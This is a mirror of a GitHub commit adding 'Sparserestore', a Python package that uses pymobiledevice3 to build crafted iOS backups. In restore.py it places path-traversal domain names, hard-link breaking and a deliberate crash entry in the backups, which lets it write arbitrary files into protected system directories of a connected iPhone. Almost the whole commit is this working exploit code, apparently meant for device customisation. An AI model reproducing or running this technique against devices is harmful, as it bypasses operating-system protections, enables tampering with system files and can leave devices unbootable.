mirror of
https://github.com/leminlimez/Nugget.git
synced 2025-04-08 04:23:05 +08:00
ignore pycache and rename
This commit is contained in:
33
Sparserestore/__init__.py
Normal file
33
Sparserestore/__init__.py
Normal file
@@ -0,0 +1,33 @@
|
||||
from tempfile import TemporaryDirectory
|
||||
from pathlib import Path
|
||||
|
||||
from pymobiledevice3.lockdown import create_using_usbmux
|
||||
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service
|
||||
from pymobiledevice3.exceptions import PyMobileDevice3Exception
|
||||
from pymobiledevice3.services.diagnostics import DiagnosticsService
|
||||
from pymobiledevice3.lockdown import LockdownClient
|
||||
|
||||
from . import backup
|
||||
|
||||
def perform_restore(backup: backup.Backup, reboot: bool = False, lockdown_client: LockdownClient = None):
|
||||
try:
|
||||
with TemporaryDirectory() as backup_dir:
|
||||
backup.write_to_directory(Path(backup_dir))
|
||||
|
||||
if lockdown_client == None:
|
||||
lockdown_client = create_using_usbmux()
|
||||
with Mobilebackup2Service(lockdown_client) as mb:
|
||||
mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")
|
||||
except PyMobileDevice3Exception as e:
|
||||
if "Find My" in str(e):
|
||||
print("Find My must be disabled in order to use this tool.")
|
||||
print("Disable Find My from Settings (Settings -> [Your Name] -> Find My) and then try again.")
|
||||
raise e
|
||||
elif "crash_on_purpose" not in str(e):
|
||||
raise e
|
||||
else:
|
||||
if reboot and lockdown_client != None:
|
||||
print("Success! Rebooting your device...")
|
||||
with DiagnosticsService(lockdown_client) as diagnostics_service:
|
||||
diagnostics_service.restart()
|
||||
print("Remember to turn Find My back on!")
|
||||
185
Sparserestore/backup.py
Normal file
185
Sparserestore/backup.py
Normal file
@@ -0,0 +1,185 @@
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime
|
||||
import plistlib
|
||||
from pathlib import Path
|
||||
from base64 import b64decode
|
||||
from hashlib import sha1
|
||||
from . import mbdb
|
||||
from .mbdb import _FileMode
|
||||
from random import randbytes
|
||||
from typing import Optional
|
||||
|
||||
# RWX:RX:RX
|
||||
DEFAULT = _FileMode.S_IRUSR | _FileMode.S_IWUSR | _FileMode.S_IXUSR | _FileMode.S_IRGRP | _FileMode.S_IXGRP | _FileMode.S_IROTH | _FileMode.S_IXOTH
|
||||
|
||||
@dataclass
|
||||
class BackupFile:
|
||||
path: str
|
||||
domain: str
|
||||
|
||||
def to_record(self) -> mbdb.MbdbRecord:
|
||||
raise NotImplementedError()
|
||||
|
||||
@dataclass
|
||||
class ConcreteFile(BackupFile):
|
||||
contents: bytes
|
||||
owner: int = 0
|
||||
group: int = 0
|
||||
inode: Optional[int] = None
|
||||
mode: _FileMode = DEFAULT
|
||||
|
||||
def to_record(self) -> mbdb.MbdbRecord:
|
||||
if self.inode is None:
|
||||
self.inode = int.from_bytes(randbytes(8), "big")
|
||||
return mbdb.MbdbRecord(
|
||||
domain=self.domain,
|
||||
filename=self.path,
|
||||
link="",
|
||||
hash=sha1(self.contents).digest(),
|
||||
key=b"",
|
||||
mode=self.mode | _FileMode.S_IFREG,
|
||||
#unknown2=0,
|
||||
#unknown3=0,
|
||||
inode=self.inode,
|
||||
user_id=self.owner,
|
||||
group_id=self.group,
|
||||
mtime=int(datetime.now().timestamp()),
|
||||
atime=int(datetime.now().timestamp()),
|
||||
ctime=int(datetime.now().timestamp()),
|
||||
size=len(self.contents),
|
||||
flags=4,
|
||||
properties=[]
|
||||
)
|
||||
|
||||
@dataclass
|
||||
class Directory(BackupFile):
|
||||
owner: int = 0
|
||||
group: int = 0
|
||||
mode: _FileMode = DEFAULT
|
||||
|
||||
def to_record(self) -> mbdb.MbdbRecord:
|
||||
return mbdb.MbdbRecord(
|
||||
domain=self.domain,
|
||||
filename=self.path,
|
||||
link="",
|
||||
hash=b"",
|
||||
key=b"",
|
||||
mode=self.mode | _FileMode.S_IFDIR,
|
||||
#unknown2=0,
|
||||
#unknown3=0,
|
||||
inode=0, # inode is not respected for directories
|
||||
user_id=self.owner,
|
||||
group_id=self.group,
|
||||
mtime=int(datetime.now().timestamp()),
|
||||
atime=int(datetime.now().timestamp()),
|
||||
ctime=int(datetime.now().timestamp()),
|
||||
size=0,
|
||||
flags=4,
|
||||
properties=[]
|
||||
)
|
||||
|
||||
@dataclass
|
||||
class SymbolicLink(BackupFile):
|
||||
target: str
|
||||
owner: int = 0
|
||||
group: int = 0
|
||||
inode: Optional[int] = None
|
||||
mode: _FileMode = DEFAULT
|
||||
|
||||
def to_record(self) -> mbdb.MbdbRecord:
|
||||
if self.inode is None:
|
||||
self.inode = int.from_bytes(randbytes(8), "big")
|
||||
return mbdb.MbdbRecord(
|
||||
domain=self.domain,
|
||||
filename=self.path,
|
||||
link=self.target,
|
||||
hash=b"",
|
||||
key=b"",
|
||||
mode=self.mode | _FileMode.S_IFLNK,
|
||||
#unknown2=0,
|
||||
#unknown3=0,
|
||||
inode=self.inode,
|
||||
user_id=self.owner,
|
||||
group_id=self.group,
|
||||
mtime=int(datetime.now().timestamp()),
|
||||
atime=int(datetime.now().timestamp()),
|
||||
ctime=int(datetime.now().timestamp()),
|
||||
size=0,
|
||||
flags=4,
|
||||
properties=[]
|
||||
)
|
||||
|
||||
@dataclass
|
||||
class Backup:
|
||||
files: list[BackupFile]
|
||||
|
||||
def write_to_directory(self, directory: Path):
|
||||
for file in self.files:
|
||||
if isinstance(file, ConcreteFile):
|
||||
#print("Writing", file.path, "to", directory / sha1((file.domain + "-" + file.path).encode()).digest().hex())
|
||||
with open(directory / sha1((file.domain + "-" + file.path).encode()).digest().hex(), "wb") as f:
|
||||
f.write(file.contents)
|
||||
|
||||
with open(directory / "Manifest.mbdb", "wb") as f:
|
||||
f.write(self.generate_manifest_db().to_bytes())
|
||||
|
||||
with open(directory / "Status.plist", "wb") as f:
|
||||
f.write(self.generate_status())
|
||||
|
||||
with open(directory / "Manifest.plist", "wb") as f:
|
||||
f.write(self.generate_manifest())
|
||||
|
||||
with open(directory / "Info.plist", "wb") as f:
|
||||
f.write(plistlib.dumps({}))
|
||||
|
||||
|
||||
def generate_manifest_db(self): # Manifest.mbdb
|
||||
records = []
|
||||
for file in self.files:
|
||||
records.append(file.to_record())
|
||||
return mbdb.Mbdb(records=records)
|
||||
|
||||
def generate_status(self) -> bytes: # Status.plist
|
||||
return plistlib.dumps({
|
||||
"BackupState": "new",
|
||||
"Date": datetime.fromisoformat("1970-01-01T00:00:00+00:00"),
|
||||
"IsFullBackup": False,
|
||||
"SnapshotState": "finished",
|
||||
"UUID": "00000000-0000-0000-0000-000000000000",
|
||||
"Version": "2.4"
|
||||
})
|
||||
|
||||
def generate_manifest(self) -> bytes: # Manifest.plist
|
||||
return plistlib.dumps({
|
||||
"BackupKeyBag": b64decode("""
|
||||
VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1D
|
||||
SwAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAA
|
||||
AAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVVSUQA
|
||||
AAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAE
|
||||
AAAAAFdQS1kAAAAoN3kQAJloFg+ukEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9
|
||||
UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAEAAAAAktU
|
||||
WVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9z
|
||||
ZCHNJhnorVVVSUQAAAAQf7JFQiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAE
|
||||
AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRguQyqHukotrxh
|
||||
jIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdS
|
||||
QVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZA
|
||||
ie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1KhJKNTUNMQVMAAAAE
|
||||
AAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/t
|
||||
djKArOqTaH0tPSG9KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENM
|
||||
QVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAofe2QSvDC2cV7
|
||||
Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yE
|
||||
cfWmMUNMQVMAAAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLY
|
||||
PQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVVSUQAAAAQEBpgKOz9
|
||||
Tni8F9kmSXd0sENMQVMAAAAEAAAACFdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kA
|
||||
AAAo5mxVoyNFgPMzphYhm1VG8Fhsin/xX+r6mCd9gByF5SxeolAIT/ICF1VVSUQAAAAQ
|
||||
rfKB2uPSQtWh82yx6w4BoUNMQVMAAAAEAAAACVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAA
|
||||
AFdQS1kAAAAo5iayZBwcRa1c1MMx7vh6lOYux3oDI/bdxFCW1WHCQR/Ub1MOv+QaYFVV
|
||||
SUQAAAAQiLXvK3qvQza/mea5inss/0NMQVMAAAAEAAAACldSQVAAAAAEAAAAA0tUWVAA
|
||||
AAAEAAAAAFdQS1kAAAAoD2wHX7KriEe1E31z7SQ7/+AVymcpARMYnQgegtZD0Mq2U55u
|
||||
xwNr2FVVSUQAAAAQ/Q9feZxLS++qSe/a4emRRENMQVMAAAAEAAAAC1dSQVAAAAAEAAAA
|
||||
A0tUWVAAAAAEAAAAAFdQS1kAAAAocYda2jyYzzSKggRPw/qgh6QPESlkZedgDUKpTr4Z
|
||||
Z8FDgd7YoALY1g=="""),
|
||||
"Lockdown": {},
|
||||
"SystemDomainsVersion": "20.0",
|
||||
"Version": "9.1"
|
||||
})
|
||||
168
Sparserestore/mbdb.py
Normal file
168
Sparserestore/mbdb.py
Normal file
@@ -0,0 +1,168 @@
|
||||
from dataclasses import dataclass
|
||||
from io import BytesIO
|
||||
|
||||
# Mode bitfield
|
||||
from enum import IntFlag
|
||||
class _FileMode(IntFlag):
|
||||
S_IFMT = 0o0170000
|
||||
S_IFIFO = 0o0010000
|
||||
S_IFCHR = 0o0020000
|
||||
S_IFDIR = 0o0040000
|
||||
S_IFBLK = 0o0060000
|
||||
S_IFREG = 0o0100000
|
||||
S_IFLNK = 0o0120000
|
||||
S_IFSOCK = 0o0140000
|
||||
|
||||
#S_IRWXU = 0o0000700
|
||||
S_IRUSR = 0o0000400
|
||||
S_IWUSR = 0o0000200
|
||||
S_IXUSR = 0o0000100
|
||||
|
||||
#S_IRWXG = 0o0000070
|
||||
S_IRGRP = 0o0000040
|
||||
S_IWGRP = 0o0000020
|
||||
S_IXGRP = 0o0000010
|
||||
|
||||
#S_IRWXO = 0o0000007
|
||||
S_IROTH = 0o0000004
|
||||
S_IWOTH = 0o0000002
|
||||
S_IXOTH = 0o0000001
|
||||
|
||||
S_ISUID = 0o0004000
|
||||
S_ISGID = 0o0002000
|
||||
S_ISVTX = 0o0001000
|
||||
|
||||
@dataclass
|
||||
class MbdbRecord:
|
||||
domain: str
|
||||
filename: str
|
||||
link: str
|
||||
hash: bytes
|
||||
key: bytes
|
||||
mode: _FileMode
|
||||
inode: int
|
||||
user_id: int
|
||||
group_id: int
|
||||
mtime: int
|
||||
atime: int
|
||||
ctime: int
|
||||
size: int
|
||||
flags: int
|
||||
properties: list
|
||||
|
||||
@classmethod
|
||||
def from_stream(cls, d: BytesIO):
|
||||
#d = BytesIO(data)
|
||||
|
||||
domain_len = int.from_bytes(d.read(2), "big")
|
||||
domain = d.read(domain_len).decode("utf-8")
|
||||
|
||||
filename_len = int.from_bytes(d.read(2), "big")
|
||||
filename = d.read(filename_len).decode("utf-8")
|
||||
|
||||
link_len = int.from_bytes(d.read(2), "big")
|
||||
link = d.read(link_len).decode("utf-8") if link_len != 0xffff else ""
|
||||
|
||||
hash_len = int.from_bytes(d.read(2), "big")
|
||||
hash = d.read(hash_len) if hash_len != 0xffff else b""
|
||||
|
||||
key_len = int.from_bytes(d.read(2), "big")
|
||||
key = d.read(key_len) if key_len != 0xffff else b""
|
||||
|
||||
mode = _FileMode(int.from_bytes(d.read(2), "big"))
|
||||
#unknown2 = int.from_bytes(d.read(4), "big")
|
||||
#unknown3 = int.from_bytes(d.read(4), "big")
|
||||
inode = int.from_bytes(d.read(8), "big")
|
||||
user_id = int.from_bytes(d.read(4), "big")
|
||||
group_id = int.from_bytes(d.read(4), "big")
|
||||
mtime = int.from_bytes(d.read(4), "big")
|
||||
atime = int.from_bytes(d.read(4), "big")
|
||||
ctime = int.from_bytes(d.read(4), "big")
|
||||
size = int.from_bytes(d.read(8), "big")
|
||||
flags = int.from_bytes(d.read(1), "big")
|
||||
|
||||
properties_count = int.from_bytes(d.read(1), "big")
|
||||
properties = []
|
||||
|
||||
for _ in range(properties_count):
|
||||
name_len = int.from_bytes(d.read(2), "big")
|
||||
name = d.read(name_len).decode("utf-8") if name_len != 0xffff else ""
|
||||
|
||||
value_len = int.from_bytes(d.read(2), "big")
|
||||
value = d.read(value_len).decode("utf-8") if value_len != 0xffff else ""
|
||||
|
||||
properties.append((name, value))
|
||||
|
||||
return cls(domain, filename, link, hash, key, mode, inode, user_id, group_id, mtime, atime, ctime, size, flags, properties)
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
d = BytesIO()
|
||||
|
||||
d.write(len(self.domain).to_bytes(2, "big"))
|
||||
d.write(self.domain.encode("utf-8"))
|
||||
|
||||
d.write(len(self.filename).to_bytes(2, "big"))
|
||||
d.write(self.filename.encode("utf-8"))
|
||||
|
||||
d.write(len(self.link).to_bytes(2, "big"))
|
||||
d.write(self.link.encode("utf-8"))
|
||||
|
||||
d.write(len(self.hash).to_bytes(2, "big"))
|
||||
d.write(self.hash)
|
||||
|
||||
d.write(len(self.key).to_bytes(2, "big"))
|
||||
d.write(self.key)
|
||||
|
||||
d.write(self.mode.to_bytes(2, "big"))
|
||||
#d.write(self.unknown2.to_bytes(4, "big"))
|
||||
#d.write(self.unknown3.to_bytes(4, "big"))
|
||||
d.write(self.inode.to_bytes(8, "big"))
|
||||
d.write(self.user_id.to_bytes(4, "big"))
|
||||
d.write(self.group_id.to_bytes(4, "big"))
|
||||
d.write(self.mtime.to_bytes(4, "big"))
|
||||
d.write(self.atime.to_bytes(4, "big"))
|
||||
d.write(self.ctime.to_bytes(4, "big"))
|
||||
d.write(self.size.to_bytes(8, "big"))
|
||||
d.write(self.flags.to_bytes(1, "big"))
|
||||
|
||||
d.write(len(self.properties).to_bytes(1, "big"))
|
||||
|
||||
for name, value in self.properties:
|
||||
d.write(len(name).to_bytes(2, "big"))
|
||||
d.write(name.encode("utf-8"))
|
||||
|
||||
d.write(len(value).to_bytes(2, "big"))
|
||||
d.write(value.encode("utf-8"))
|
||||
|
||||
return d.getvalue()
|
||||
|
||||
@dataclass
|
||||
class Mbdb:
|
||||
records: list[MbdbRecord]
|
||||
|
||||
@classmethod
|
||||
def from_bytes(cls, data: bytes):
|
||||
d = BytesIO(data)
|
||||
|
||||
if d.read(4) != b"mbdb":
|
||||
raise ValueError("Invalid MBDB file")
|
||||
|
||||
if d.read(2) != b"\x05\x00":
|
||||
raise ValueError("Invalid MBDB version")
|
||||
|
||||
records = []
|
||||
while d.tell() < len(data):
|
||||
records.append(MbdbRecord.from_stream(d))
|
||||
|
||||
return cls(records)
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
d = BytesIO()
|
||||
|
||||
d.write(b"mbdb")
|
||||
d.write(b"\x05\x00")
|
||||
|
||||
for record in self.records:
|
||||
d.write(record.to_bytes())
|
||||
|
||||
return d.getvalue()
|
||||
113
Sparserestore/restore.py
Normal file
113
Sparserestore/restore.py
Normal file
@@ -0,0 +1,113 @@
|
||||
from . import backup, perform_restore
|
||||
from pymobiledevice3.lockdown import LockdownClient
|
||||
|
||||
class FileToRestore:
|
||||
def __init__(self, contents: str, restore_path: str, restore_name: str, owner: int = 501, group: int = 501):
|
||||
self.contents = contents
|
||||
self.restore_path = restore_path
|
||||
self.restore_name = restore_name
|
||||
self.owner = owner
|
||||
self.group = group
|
||||
|
||||
# files is a list of FileToRestore objects
|
||||
def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownClient = None):
|
||||
# create the files to be backed up
|
||||
files_list = [
|
||||
backup.Directory("", "RootDomain"),
|
||||
backup.Directory("Library", "RootDomain"),
|
||||
backup.Directory("Library/Preferences", "RootDomain"),
|
||||
]
|
||||
# create the links
|
||||
for file_num in range(len(files)):
|
||||
files_list.append(backup.ConcreteFile(
|
||||
f"Library/Preferences/temp{file_num}",
|
||||
"RootDomain",
|
||||
owner=files[file_num].owner,
|
||||
group=files[file_num].group,
|
||||
contents=files[file_num].contents,
|
||||
inode=file_num
|
||||
))
|
||||
# add the file paths
|
||||
for file_num in range(len(files)):
|
||||
file = files[file_num]
|
||||
base_path = "/var/backup"
|
||||
# set it to work in the separate volumes (prevents a bootloop)
|
||||
if file.restore_path.startswith("/var/mobile/"):
|
||||
# required on iOS 17.0+ since /var/mobile is on a separate partition
|
||||
base_path = "/var/mobile/backup"
|
||||
elif file.restore_path.startswith("/private/var/mobile/"):
|
||||
base_path = "/private/var/mobile/backup"
|
||||
elif file.restore_path.startswith("/private/var/"):
|
||||
base_path = "/private/var/backup"
|
||||
files_list.append(backup.Directory(
|
||||
"",
|
||||
f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}",
|
||||
owner=file.owner,
|
||||
group=file.group
|
||||
))
|
||||
files_list.append(backup.ConcreteFile(
|
||||
"",
|
||||
f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}{file.restore_name}",
|
||||
owner=file.owner,
|
||||
group=file.group,
|
||||
contents=b"",
|
||||
inode=file_num
|
||||
))
|
||||
# break the hard links
|
||||
for file_num in range(len(files)):
|
||||
files_list.append(backup.ConcreteFile(
|
||||
"",
|
||||
f"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp{file_num}",
|
||||
owner=501,
|
||||
group=501,
|
||||
contents=b"",
|
||||
)) # Break the hard link
|
||||
files_list.append(backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""))
|
||||
|
||||
# create the backup
|
||||
back = backup.Backup(files=files_list)
|
||||
|
||||
perform_restore(backup=back, reboot=reboot, lockdown_client=lockdown_client)
|
||||
|
||||
|
||||
def restore_file(fp: str, restore_path: str, restore_name: str, reboot: bool = False, lockdown_client: LockdownClient = None):
|
||||
# open the file and read the contents
|
||||
contents = open(fp, "rb").read()
|
||||
|
||||
base_path = "/var/backup"
|
||||
if restore_path.startswith("/var/mobile/"):
|
||||
# required on iOS 17.0+ since /var/mobile is on a separate partition
|
||||
base_path = "/var/mobile/backup"
|
||||
|
||||
# create the backup
|
||||
back = backup.Backup(files=[
|
||||
# backup.Directory("", "HomeDomain"),
|
||||
# backup.Directory("Library", "HomeDomain"),
|
||||
# backup.Directory("Library/Preferences", "HomeDomain"),
|
||||
# backup.ConcreteFile("Library/Preferences/temp", "HomeDomain", owner=501, group=501, contents=contents, inode=0),
|
||||
backup.Directory(
|
||||
"",
|
||||
f"SysContainerDomain-../../../../../../../..{base_path}{restore_path}",
|
||||
owner=501,
|
||||
group=501
|
||||
),
|
||||
backup.ConcreteFile(
|
||||
"",
|
||||
f"SysContainerDomain-../../../../../../../..{base_path}{restore_path}{restore_name}",
|
||||
owner=501,
|
||||
group=501,
|
||||
contents=contents#b"",
|
||||
# inode=0
|
||||
),
|
||||
# backup.ConcreteFile(
|
||||
# "",
|
||||
# "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp",
|
||||
# owner=501,
|
||||
# group=501,
|
||||
# contents=b"",
|
||||
# ), # Break the hard link
|
||||
backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""),
|
||||
])
|
||||
|
||||
|
||||
perform_restore(backup=back, reboot=reboot, lockdown_client=lockdown_client)
|
||||
Reference in New Issue
Block a user